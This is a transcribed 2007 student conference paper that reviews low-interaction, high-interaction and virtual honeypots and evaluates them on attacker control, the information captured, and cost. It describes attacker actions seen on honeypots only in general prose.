Catching hackers using a virtual honeynet: A case study

Transcription

1 Catching hackers using a virtual honeynet: A case study D.N. Pasman d.n.pasman@student.utwente.nl ABSTRACT This paper presents an evaluation of honeypots used for gathering information about the methods used by attackers to compromise a host. Honeypots are an important utility to learn more about attackers. There are several types of honeypots which can be used for gathering information about the tools and methods used by attackers to compromise a server. This paper will evaluate these honeypots. The focus will be on the virtual honeypots, because they are a rather new concept. We will compare them to the other types of honeypots to find out if the information gathered from the virtual honeypots is just as useful as from the other honeypots. We will see that there are even more possibilities with virtual honeypots than with low interaction and high interaction honeypots. Keywords Honeypot, honeynet, exploits, virtual. 1. INTRODUCTION Traditionally, tools used for information security were primarily defensive. Tools like firewalls, Intrusion Detection Systems and encryption are used defensively to protect one s resources. With this strategy the attacker always has the initiative. Honeynets tend to change this. The purpose of honeynets is to gather information on threats ([Hon06]). Honeynets are a type of network architecture [Hon06]. This architecture creates a highly controlled network, in which you can control and monitor all the network activity. You setup target systems (honeypots) to attract attackers to your systems. All the actions of the attackers which they perform on the honeypots are captured and stored for analysis. A honeypot is a trap set to detect, deflect or in some manner counteract attempts at unauthorized use of information systems. It consists of a machine that is not supposed to receive any legitimate traffic and, thus, any traffic flood destined to this honeypot is most probably an ongoing attack and can be analyzed to reveal vulnerabilities targeted by attackers. Honeypots can be divided into two categories according to [DVK+06]: high interaction and low interaction honeypots. High interaction honeypots are full fledged production like systems that host a full suite of services and allow an attacker a lot of latitude during his visit. Low interaction honeypots have only implemented the services you think the attacker will be interested in. Advantages of low interaction honeypots are the response time, which is quicker and it is possible to add more security to it. The disadvantage is however that an attacker can easily detect an incompletely implemented service. Thus he will know he has hit a honeypot [DVK+06].There is another type of Permission to make digital or hard copies of all or part of this work for personal or classroom use is granted without fee provided that copies are not made or distributed for profit or commercial advantage and that copies bear this notice and the full citation on the first page. To copy otherwise, or republish, to post on servers or to redistribute to lists, requires prior specific permission. 6th Twente Student Conference on IT, Enschede, 2nd February, 2007 Copyright 2007, University of Twente, Faculty of Electrical Engineering, Mathematics and Computer Science honeypot which can be categorized in a new category: the virtual honeypot. This is actually a high interaction honeypot, running with other honeypots or production servers on one physical machine with virtualization. This is a rather new concept and has not been researched much. The biggest risk of a virtual honeypot is the host being compromised. We would like to compare them to regular high interaction and low interaction honeypots. For the comparison we will use work of other researchers. The main question we will base our research on will be Is information gathered from a virtual honeypot just as useful to detect an attacker as other honeypots?. We will come to an answer for this question by doing a literature study to the different types of honeypots. This gives us more information about how researchers evaluate these honeypots. This paper should give other researchers and users more information about which types of honeypots can be used best in which situation. At the time of writing there is not yet a paper which discusses all the types of honeypots and compares them to each other.chapter 2 will present the criteria on which we will base our evaluation. In chapter 3 we will discuss the different types of honeypots and present some research done by others to these honeypots. In chapter 4 we will evaluate the different types of honeypots, how they compare to each other. Chapter 5 will be the conclusions of our paper. 2. CRITERIA In this section we will discuss the criteria which will be used to evaluate different types of honeypots. We will come to these criteria by distilling the information from the literature we found on the topic of honeypots. A big difference between honeypots is the degree on how much control an attacker can get once he compromised a honeypot. The more control an attacker can have, the more you can learn about his motives and techniques. This criterion will be used in the evaluation of different types of honeypots. Another issue is the type of information that can be gathered from a honeypot. Information like type of network traffic, key logging, process information and files are interesting information. With this information one can reproduce the actions an attacker took to compromise a host and get to know more about what an attacker does once he compromised the host. So the type of information that can be gathered from a honeypot is an important criterion. Implementing a honeynet with a certain type of honeypot can be very costly. This aspect must also be considered when a choice is made on the type of honeypot. This also depends on for which purpose the honeypot will be used. 3. HONEYPOTS In this section the methods, used by the different types of honeypots, for gathering information are described. We will start with low interaction honeypots. An explanation is given about how they work and some results of research done by others. Next we will cover high interaction honeypots. The working of these honeypots is explained and also results of

2 research on these honeypots. Last but not least we will cover virtual honeypots. 3.1 Low Interaction Honeypots Characteristics of low interaction honeypots Low interaction honeypots are limited in their extent of interaction. They are actually emulators of services and operating systems, whereby attacker activity is limited to the level of emulation by the honeypot. This keeps the host operating system uncompromised. Logs of the attacker are kept on the host s file system, relatively save from manipulation. The deployment and maintenance of these systems are simple and do not involve much risk. Unfortunately low interaction systems log only limited information and are designed to capture known activity. An attacker can detect a low interaction honeypot by executing a command that the emulation does not support. One of the advantages of this approach is that the activities of the attacker are naturally sand-boxed within the boundaries of the software running on a host operating system. The honeypot can pretend to be, for example, a Solaris server, with TCP/IP stack characteristics of a Solaris system emulated to fool OS fingerprinting and services that one would expect to see on such a server running Solaris. However because these services are incomplete implemented, exploits written to compromise a Solaris server will at best result in a simulated compromise of the honeypot. That is, if the exploit is known and handled by the honeypot. The actual host operating system is not compromised. At worst the exploit will fail, because the exploit is unknown, or the vulnerability is not implemented in the honeypot. Another advantage of the low interaction honeypot is that the attacker is also restricted from attacking other hosts from the honeypot system. This is because the compromise of the server is emulated. Using low interaction honeypots has also some disadvantages. These disadvantages actually follow from the advantages. By definition, no low interaction emulation of an operating system and its services will be complete. The responses an attacker would expect for known vulnerabilities and exploits are emulated, so a low interaction honeypot will not respond accurately to exploits we have not expressly emulated responses for. The so called 0-day exploits would fall into this category. These exploits are kept private by the attackers and it is therefore difficult to prepare your honeypot for these kind of exploits. Examples of low interaction honeypots include Specter, Honeyd and KFSensor. Specter is a smart honeypot-based intrusion detection system. It simulates any type of machine with a set of services for the attackers to use. The computer attacking Specter will be marked by the generation of decoy programs. Specter simply provides a complete simulated machine to be installed on the network. Honeyd is a framework for a low interaction honeypot that simulates a virtual computer system at the network level. It simulates the IP stack of various Operating Systems and services. Honeyd s personality engine makes a response packet with the network behavior of the configured operating system personality. KFSensor simulates system services at the application layer, thus enabling it to use Windows security mechanisms and libraries. New firewall rules can be setup using KFSensor and also for developing signatures for Intrusion Detection Systems KFSensor can be used Specter, low interaction honeypot software Next we will look into the deployment of a low interaction honeypot. McGrew et al deployed the low interaction honeypot Specter ([GV06]). With this honeypot they tried to gather information on the network of the Mississippi State University about the type and source of attacks as well as the amount of time that a machine can expect to be online before being attacked. They deployed the honeypot on the network behind the university s firewall and on an IP address outside of the university s firewall. They made sure the IP address was in an unused subnet, so no other servers or workstations, and no hostnames resolved to that IP range. The two honeypot deployments where connected to the internet for a period of two weeks each. They choose two different Operating Systems to emulate. The first week they configured Specter to emulate a Solaris machine running FTP, Telnet, SMTP, POP3, Finger and HTTP servers as emulated protocols. The second week Specter was configured to emulate a Windows XP operating system. Services emulated were FTP, Telnet, SMTP, POP3, Netbus and HTTP servers. The results of the research done by [GV06] are about two situations, the honeypot behind the firewall and the honeypot directly connected to the internet. The results from the tests with the honeypot behind the firewall were not interesting. In the two-week period no activity was logged by the low interaction honeypots behind the firewall. All the connections from hosts outside of the department of the university to the open TCP ports on the honeypots were blocked by the firewall. The only way activity could have been logged was if a host inside the firewall had scanned or probed it. However the presence of the honeypot was not made known to the users of the internal network. More interesting were the results of the honeypots directly connected to the internet. The first week of the Solaris honeypot, the first anomalous connection was observed after 2 hours and 40 minutes after connecting to the internet. The second week the honeypot emulated a Windows XP host. After 14 minutes the first anomalous connection was observed. The Solaris honeypot logged an average of one attack every 1 hour and 26 minutes, during a period of 7 days. The Windows XP honeypot also logged for a period of 7 days and had an average of one attack every 48 minutes. The most attacks on the Windows XP honeypot were on the Microsoft IIS web server service. This is probably due to the large number of exploits being available for this service. It appeared that once an attacker determined that the web server was IIS, a number of extra attacks representing different exploits followed. This phenomenon will probably happen also with other services as well if a number of popular vulnerabilities exist for a specific version of these services. Mostly attackers are searching to particular versions with known vulnerabilities Honeyd, low interaction honeypot framework Another research on low interaction honeypots has been done by Provos [PROV04]. Provos used the Honeyd framework for their research. They limited attackers to interacting with their honeypots only at the network level. They did not emulate every aspect of an operating system. Instead they choose to simulate only the network stack of a certain operating system. The main reason for this approach is that an attacker never gains complete access to the system even if he compromises a simulated service. With this approach they are still able to capture connection and compromise attempts.

3 [PROV04] started with running a fingerprint on the operating systems emulated by Honeyd. They setup a B-class network with on every ip listening a Honeyd server. This are in total approximately servers, all emulating a certain type of operating system. They used the tool Nmap 3.00 to fingerprint all the ip s. After removing duplicates, 600 distinct fingerprints were found. The honeypots were configured so that all but one port was closed; the open port ran a web server. Nmap uniquely identified the operating system for 555 fingerprints. For 37 fingerprints Nmap presented a list of possible choices that included the simulated operating system. There were only 8 fingerprints where Nmap failed to identify the correct operating system. Provos could not point out what caused this problem. 3.2 High Interaction Honeypots Characteristics of high interaction honeypots Another honeypot category is high interaction honeypots. High interaction honeypots utilize actual operating systems rather than emulations like the low interaction honeypots. Because actual operating systems are utilized, the attacker gets a more realistic experience and we can gather more information about intended attacks. This makes high interaction honeypots very useful in situations where one wishes to capture details of vulnerabilities or exploits that are not yet known to the public. These vulnerabilities or exploits are being used only by a small number of attackers who discovered the vulnerability and wrote an exploit for it. These exploits are known as 0-day exploits, like we also mentioned in section It is very important to find and publicize these vulnerabilities quickly, so that system administrators can filter or work around these problems. Also vendors can develop and release software patches to fix these vulnerabilities. High interaction honeypots provide information on the motives, tools, and techniques of the attackers. This is another advantage of these types of honeypots. Other systems like firewall logs, IDS alerts, and low interaction honeypots can log a large number of attacks. A large percentage of these attacks will effectively be not interesting. This can be for example worm traffic or scans for vulnerabilities that are either too old to affect the system or the software just isn t deployed on the honeypot. Also brute force attacks on the machines to find a username with password combination generate a lot of traffic. With these high volumes of noise, it can be difficult to detect the presence of an attacker with the skills and intent to penetrate your system. It are just these attackers which are interesting to follow. High interaction honeypots have the capability to become the target of these attackers, and can be used to capture valuable information including the techniques and software tools being used. When we give the attacker a real operating system to interact with, he might proceed further with an attack than with a low interaction honeypot A generation II high interaction honeypot In paragraph we talked about the research done by [GV06] on low interaction honeypots, they also did some research on high interaction honeypots. The most difficult issue of these honeypots is the provisions that must be made for data control and data capture. Because these systems are complete operating systems, if an attacker takes control over this system, appropriate measures must have been taken to limit the attacker s ability to launch attacks from this honeypot system. If attacks targeting other production machines, whether within the organization or outside the organization, the honeypot becomes a major liability. That is why some put a firewall in front of the high interaction honeypots, which blocks all outbound connections. These limitations can hinder the progress of the attacker, resulting in less informative data being captured and potentially alerting attackers to the possibility that they are being watched. McGrew et al used Generation II techniques for data control ([HOG05]). This involves a machine separate from the honeypot acting as a layer 2 bridging firewall, called a Honeywall. Out-bound connections from the honeypot are restricted by this Honeywall. The Honeywall utilizes a special in-line version of the Snort IDS ([SNO06]) to detect known attacks and either block or mangle them by modifying key elements of the attack to prevent them from being successful. The Honeywall prevents the honeypot from being used as a significant contribution to denial-of-service attacks by limiting the bandwidth and the number of established connections of the honeypot. The next important issue is data capture. Data like any network traffic, keystrokes performed by logged-in users, and any tools or exploits used in the progression of an attack are valuable data we wish to capture. The problem with high interaction honeypots is that we cannot store this data on the same machine as the honeypot. Since the attacker has fully control over the complete machine once broken into, the data cannot be stored safe. On low interaction honeypots this data can be stored on the hosts file system, separated from the emulated operating system. That way the attacker will not be able to manipulate this data and cannot even see the data is stored. However this is not possible on a high interaction honeypot. The solution to this problem is converting this data into network traffic. The Honeywall, placed between the honeypot and the internet, will log all the network traffic between these two. The data that is being logged on the honeypot, such as keystrokes, is covertly transmitted from the honeypot to the Honeywall without the attacker s knowledge. This can be accomplished using a kernel module known as Sebek ([HOS03]). By using this kernel module, the read() system call is intercepted, and things like keystrokes and other information about running processes are captured. Sebek encapsulates the data in UDP packets and adds a number to the packets to identify the honeypot. By specifying a certain source and destination address, these packets can be extracted from the rest of the network traffic captured by the Honeywall by using particular scripts. The operating system McGrew used for his Honeywall was Fedora Core 2 Linux, with the kernel recompiled to support filtering with iptables in bridging mode. This was necessary to put the Honeywall invisible for attackers between the honeypot and the internet. The honeypot was implemented with Redhat Linux 7.3, installed without any security updates. A machine running Redhat Linux 7.3 would give attackers plenty of possibilities to compromise the machine. And this operating system is still running on quite some servers on the internet, so attackers would not be suspicious about it. They choose the Redhat distribution because this distribution has the most publicly available exploits. They left a large number of services running and added some user accounts to the system with weak passwords, to improve the chance that the honeypot would be compromised. The honeypot was online for a period of 101 days, spread over a period of 4.5 months. They toke the honeypot offline during times that nobody was around to monitor the honeypot. They placed the honeypot outside the university s firewall. During the time the honeypot was online, a large number of probes and attacks were observed. There were two successful attacks. Two different attackers compromised the system. Because both the

4 attackers used the same vulnerability (a buffer-overflow issue in the SSL version), it was difficult to determine that there were two attackers instead of one. The difference between the attackers was the actions that they took upon gaining access to the system. The two attackers differed in their skills. To show the logging methods of the honeypot actually works, [GV06] described the actions taken by the most skilled attacker. This attacker gained access to the system through the SSL exploit. Once inside, the attacker retrieved an exploit from a web server which exploits a vulnerability in the older Linux kernel that was in place on the honeypot system. Because the exploit was successful, the attacker retrieved another tool which would help the attacker gaining access to the honeypot without using the SSL exploit. The next step was to install a root kit. This kit makes it more difficult for system administrators to detect the attacker s presence on the system. However because the attacker made a simple typing error in the configuration script of the rootkit, he was not able to install the rootkit. It looked like the attacker didn t care anymore to be invisible to system administrators, and started to retrieve some other tools. Now the attacker had fully control over this system, he started to run some software so scan for other servers with vulnerabilities. However the Honeywall blocked all the network traffic caused by these tools, so all his attacks failed. The attacker altered several system configuration files to find out what caused the failure. But he was not able to find it and probably frustrated by it, he deleted all the files on the hard drive and logged out. The honeypot system crashed shortly thereafter. With all the data logged by the Honeywall, McGrew et al were able to reconstruct the events described in the analysis. They were even able to identify the attacker and communicated with him through . The attacker came from Romania, and freely admitted to being the attacker. He told that he was not aware of the fact that he was interacting with a honeypot. So the research of McGrew shows that it is indeed possible to get to know more about attackers using high interaction honeypots File system changes on high interaction honeypots Another interesting research on high interaction honeypots is that of [MCPG04]. They made practically the same setup as McGrew et al, but with the emphasis more on the file system changes made by an attacker. This gives some great opportunities for evidence reconstruction. For example to obtain all the files created by an attacker, once he compromised the system. Or a report can be generated of all the files altered by the attacker, with the content of the alteration. Another possibility is to create a timeline, containing the complete evolution of a set of files or even the entire file system. However, for making a complete evolution timeline of the entire file system, a local copy of the honeypots original file system is needed, for the evidence reconstruction. For this research a modified version of Sebek is used, to invoke system calls. The system calls invoked are not only the read calls, but also the calls for file operations. All the data retrieved by invoking a system call, is used to create a block. A block is a logical data unit that contains all the data necessary for a system call to be reproduced on the Honeywall. Therefore, not only it must contain the parameters given to the call, but also process and system context information. After the assembly of the blocks, they are encapsulated inside Ethernet frames and sent to the network. The rest of transmitting goes the same as done by Sebek. For testing these methods, M. d Orey Posser de Carbone et al created a prototype and tested in live intrusion situations. To keep things simple, they only intercepted the system calls for creating new files and renaming them in this prototype. Twenty days after the prototype was deployed, the honeypot was attacked and compromised. The attacker remotely exploited a vulnerability in the honeypots FTP server, and obtained a shell prompt with root privileges. After obtaining access to the system, the attacker first removed an environment variable to make sure the shell would not log everything he typed. Next he used wget to download a file from a remote server, unpacked and installed it. From the moment he started downloading, blocks were generated by the interceptor module and sent to the Honeywall through the network card. On the Honeywall the blocks were extracted from the UDP packets and the file downloaded by the attacker was rebuild on the Honeywall. Many other files and directories were rebuilt, providing some very interesting data concerning the tool installed by the intruder. It seemed like some sort of rootkit, because many system binaries were replaced by equally named new binaries. So this way of logging the attackers actions gives us more information about the tools used. However an important point of discussion is the performance impact created by the presence of the interceptor module on the honeypot. It is important that the overhead of this module must be kept as low as possible, otherwise the attacker might notice it. The research showed that the greatest impact was caused by the system call that writes to the file system. But some tests showed that only with writing large quantities of data, e.g. a cdimage ) causes a delay which will be noticed by an attacker. A problem which occurs at both the researches discussed here about high interaction honeypots, is that once an attacker gains access to the system he can remove the logging methods of the honeypot. When the attacker has gained root privileges, he can install a rootkit and is then able to modify the system call table. The result is that the interception modules can be neutralized if methods are overwritten. With the root privileges on the honeypot, the attacker can always defeat any surveillance system so it is impossible to build a totally robust solution. 3.3 Virtual Honeypots In the previous section we talked about high interaction honeypots. When you want to deploy a complete honeynet with high interaction honeypots running different operating systems, this can become quite expensive. Because you will need a physical machine for every honeypot. Today, server virtualization is emerging as one of the most popular options for reducing costs ([ITB06]). Virtualizations offers also some other useful possibilities for honeypots. This is why virtual machines are becoming more common as honeypots. Software used for the virtualization include VMWare ([VM06]), User Mode Linux ([UML06]), and Microsoft s Virtual PC ([MSV06]). One of the advantages of using virtual servers is that they are easy to fix and isolate, and that you can emulate several systems on a single machine. Numbers like two or three virtual systems per physical machine are very common ([DVK+06]). This makes it possible to create a complete honeynet on one physical machine, a virtual honeynet. The Honeynet Project defines two types of virtual honeynets, self-contained and hybrid ([HOV03]). A self-contained virtual honeynet is an entire honeynet network onto a single machine, see figure 1. This means that both the Honeywall and the honeypots are on the same machine. This also brings a risk. If an attacker somehow discovered the host machine and

5 compromised it, your complete honeynet will be useless. So you have a Single Point of Failure. If something goes wrong with the hardware for example, your whole honeynet will be down. Figure 1. A self-contained virtual honeynet setup And there is the hybrid virtual honeynet. With hybrid virtual honeynet, the Honeywall is a separate machine, illustrated in figure 2. All the honeypots are on running on the same machine using virtualization. This solution is more secure, because the attacker could only access the other honeypots on the virtual machine. The Honeywall will be save on a separate machine. But this makes this solution also less portable then a selfcontained virtual honeynet. Figure 2. A hybrid virtual honeynet setup A very interesting research on the use of virtual honeynets is that of L. Kwong Yan. They used User-Mode Linux as virtualization software to setup a virtual honeynet ([Yan05]). They did not use a regular GenII honeynet setup for their research. They made a setup using some built-in functions of User-Mode Linux. User-Mode Linux is a port of the Linux kernel that runs in user space instead of kernel space. It implements virtualization on a system call level. All of the system calls on the virtual machine are intercepted and processed by a representative on the host machine and the results are returned to the virtual machine. Because virtualization is used, data capture and storage can be moved to the host and does not need to be transported through a network, like the GenII setup. So for capturing the data Sebek is no longer needed, but the built-in functions of UML are used. For example UML had some standard functions like key logging. Also capturing network information is much easier because this can be done behind UML, because network access to the virtual machine is provided through the host. Another important possibility is the capture of process information. At any time, the host machine is aware of all the processes that are running on the honeypot. This gives us more state information of the honeypot system while being under attack. The paper [Yan05] describes the possibility of a secure virtual honeynet. However some special components had to be developed for this setup. When they wrote the paper, not all the components were finished, so they did not include a test to see if their setup actually works good. 4. EVALUATION In the previous section we discussed some researches about low interaction honeypots, high interaction honeypots and virtual honeypots. In this section we will evaluate these types of honeypots based on the criteria we described in chapter 2. The first criterion is the degree on how much control an attacker can get once he compromised a honeypot. In section we described low interaction honeypots. Because low interaction honeypots emulate services it will not be possible for an attacker to compromise the host through these services. It is possible that a low interaction honeypot can include an emulation of a compromised service. However an attacker will detect this because he is getting responses he didn t expect. With high interaction honeypots an attacker gets much more control on the host, because actual operating systems are utilized on high interaction honeypots, as described in section This results in the possibility to gather more information about an attacker then on a low interaction honeypot. On virtual honeypots an attacker can get the same control on the host as with high interaction honeypots. A virtual honeypot is also utilizing an actual operating system. That it runs virtual on top of the host has no influence on the degree on how much control an attacker can get once he compromised the virtual honeypot. So on this point the high interaction and virtual honeypot have the same result. The second criterion is about the type of information that can be gathered from the honeypot about an attacker. From the research done by [GV06] and [PROV04] as described in section and 3.1.3, with low interaction honeypots the most information gathered is about the network traffic. The information does not go beyond the connection and compromising attempts. High interaction honeypots have the possibility to gather much more information about an attackers actions then low interaction honeypots. As described in section 3.2, high interaction honeypots can gather information like keystrokes, network traffic and even file system changes. Although it is quite difficult to hide the information gathering from an attacker which compromised the honeypot, the information gathered is very valuable. According to [GV06] it can even lead to identification of the attacker.

6 Virtual honeypots offer the possibility to gather the same information as high interaction honeypots can. But with virtual honeypots even more information can be gathered. [Yan05] presented a setup with the User-Mode Linux virtualization software that can be used to gather process information, as described in section 3.3. This way a better reconstruction can be done of the actions an attacker took on the honeypot. Based on the second criterion mentioned in chapter 2 we can conclude that virtual honeypots have the possibility to gather the most valuable information. The last criterion which we will use to evaluate the different types of honeypots is cost based. For both low interaction as high interaction honeypots separate hardware servers have to be bought. As mentioned in section 3.3, using virtual honeypots can reduce the hardware costs because it is possible to run multiple honeypots on a single machine. To built a complete honeynet a solution using virtualization will be the cheapest. 5. CONCLUSIONS In this paper we presented a literature study to the different types of honeypots. With evaluating the different types of honeypots we answered the question Is information gathered from a virtual honeypot just as useful to detect an attacker as other honeypots?. In section 3.1 we described the characteristics of the low interaction honeypots and some researches on these honeypots. From these researches and our evaluation we concluded that these honeypots are mainly used to gather statistical information. Section 3.2 describes high interaction honeypots. We discussed two researches done on high interaction honeypots and the evaluation showed that more valuable information can be gathered on these honeypots then on low interaction honeypots. The last section of chapter 3 describes virtual honeypots. [Yan05] showed that it was possible to gather even more information on a virtual honeypot then is possible on a low and high interaction honeypot. We conclude our paper with the answer to the main question. Not only is the information gathered just as useful, it is even possible to gather more information of an attacker then on other honeypots. Virtualization is becoming a very popular technique for running servers, so it will probably used even more for honeypots in the future. REFERENCES [DVK+06] P. Defibaugh-Chavez, R. Veeraghattam, M. Kannappa, S. Mukkamala, A. H. Sung, Network Based Detection of Virtual Environments and Low Interaction Honeypots, In 2006 IEEE Information Assurance Workshop, pages , IEEE, 2006 [GV06] R. McGrew, R.B. Vaughn, Experiences With Honeypot Systems: Development, Deployment, and Analysis, System Sciences, Proceedings of the 39 th Annual Hawaii International Conference, pages 220a-220a, IEEE, 2006 [HOG05] The Honeynet Project, Know Your Enemy: GenII Honeynets, ( ), The Honeynet Project 2005 [Hon06] Honeynet Project, Know your Enemy: Honeynets, ( ), Honeynet Project, 2006 [HOS03] The Honeynet Project, Know Your Enemy: Sebek, ( ), The Honeynet Project 2003 [HOV03] The Honeynet Project, Know Your Enemy: Defining Virtual Honeynets, ( ), The Honeynet Project 2003 [ITB06] IT Backbones Software News, Server Virtualization a Popular Cost Savings option, ( ), IT Business Edge 2006 [MCPG04] M. d Orey Posser de Carbone, P. Lício de Geus, A mechanism for Automatic Digital Evidence Collection on High-Interaction Honeypots, In Information Assurance Workshop, Proceedings from the Fifth Annual IEEE SMC, pages 1-8, IEEE, [MSV06] Microsoft Vitual PC, windows/virtualpc/ ( ), Microsoft 2004 [PROV04] N. Provos, A Virtual Honeypot Framework, 13 th USENIX Security Symposium 2004, pages 1-14, Google Inc, 2004 [SNO06] SNORT Intrusion Detection Software, ( ), SNORT 2006 [UML06] User-mode Linux, ( ) [VM06] VMWare virtualization, ( ), VMWare 2006 [Yan05] L. Kwong Yan, Virtual Honeynets Revisited, In Systems, Man and Cybernetics (SMC) Information Assurance Workshop, Proceedings from the Sixth Annual IEEE, pages , IEEE, 2005